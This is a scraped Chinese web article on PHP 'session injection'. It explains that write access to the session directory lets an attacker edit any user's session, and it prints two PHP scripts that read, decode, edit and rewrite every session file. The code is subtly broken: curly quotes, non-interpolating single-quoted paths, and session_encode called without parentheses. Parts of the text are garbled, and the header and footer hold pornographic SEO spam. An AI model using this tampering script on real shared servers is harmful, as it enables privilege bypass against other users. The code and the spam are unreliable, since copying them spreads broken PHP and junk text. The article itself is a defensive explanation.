av一区二区在线观看_亚洲男人的天堂网站_日韩亚洲视频_在线成人免费_欧美日韩精品免费观看视频_久草视

您的位置:首頁技術(shù)文章
文章詳情頁

PHP安全-會(huì)話注入

瀏覽:106日期:2022-09-11 18:05:06
會(huì)話注入

一個(gè)與會(huì)話暴露類似的問題是會(huì)話注入。此類攻擊是基于你的WEB服務(wù)器除了對(duì)會(huì)話存儲(chǔ)目錄有讀取權(quán)限外,還有寫入權(quán)限。因此,存在著編寫一段允許其他用戶添加,編輯或刪除會(huì)話的腳本的可能。下例顯示了一個(gè)允許用戶方便地編輯已存在的會(huì)話數(shù)據(jù)的HTML表單:

<?php

session_start();

?>

<form action='inject.php' method='POST'>

<?php

$path = ini_get(’session.save_path’);

$handle = dir($path);

while ($filename = $handle->read())

{

if (substr($filename, 0, 5) == ’sess_’)

{

$sess_data = file_get_contents('$path/$filename');

if (!empty($sess_data))

{

session_decode($sess_data);

$sess_data = $_SESSION;

$_SESSION = array();

$sess_name = substr($filename, 5);

$sess_name = htmlentities($sess_name, ENT_QUOTES, ’UTF-8’);

echo '<h1>Session [$sess_name]</h1>';

foreach ($sess_data as $name => $value)

{

$name = htmlentities($name, ENT_QUOTES, ’UTF-8’);

$value = htmlentities($value, ENT_QUOTES, ’UTF-8’);

echo '<p>

$name:

<input type='text'

name='{$sess_name}[{$name}]'

value='$value' />

</p>';

}

echo ’<br />’;

}

}

}

$handle->close();

?>

<input type='submit' />

</form>

腳本inject.php執(zhí)行由表單所指定的修改:

<?php

session_start();

$path = ini_get(’session.save_path’);

foreach ($_POST as $sess_name => $sess_data)

{

$_SESSION = $sess_data;

$sess_data = session_encode;

file_put_contents('$path/$sess_name', $sess_data);

}

$_SESSION = array();

?>

此類攻擊非常危險(xiǎn)。攻擊者不僅可以編輯你的用戶的數(shù)據(jù),還可以編輯他自己的會(huì)話數(shù)據(jù)。它比會(huì)話劫持更為強(qiáng)大,因?yàn)楣粽吣苓x擇所有的會(huì)話數(shù)據(jù)進(jìn)行修改,從而使繞過訪問限制和其他安全手段成為可能。

針對(duì)這個(gè)問題的最好解決方案是將會(huì)話數(shù)據(jù)保存在數(shù)據(jù)庫中。參見前節(jié)所示。

標(biāo)簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 欧美不卡| 成人精品国产免费网站 | 国产一级片精品 | 亚洲一区国产 | 全免费a级毛片免费看视频免费下 | 中文字幕一区二区三区四区 | 狠狠干天天干 | 欧美成人一区二区 | 欧美一区二区三区在线观看 | 亚洲视频在线一区 | 精品一区二区视频 | www四虎影视 | 久久久精选| 国产精品国产成人国产三级 | 亚洲精品一级 | 国产精品国产三级国产aⅴ入口 | 人人九九精 | 一区二区国产精品 | 色婷婷精品久久二区二区蜜臂av | 亚洲精品视频久久 | 亚洲有码转帖 | 国产一区二区三区久久久久久久久 | 日本视频一区二区三区 | 久久精品一级 | 国产精品一区二区三区四区 | 亚洲天堂一区 | 91亚洲国产成人久久精品网站 | 久久国产成人 | 丁香久久 | 天天爽夜夜骑 | 一区二区三区精品视频 | 亚洲精品视频免费看 | 亚洲国产一区二区三区, | av天空| 我我色综合 | 国产ts人妖另类 | 久久99蜜桃综合影院免费观看 | 美女在线国产 | 亚洲精品电影网在线观看 | 91视频三区 | 男人亚洲天堂 |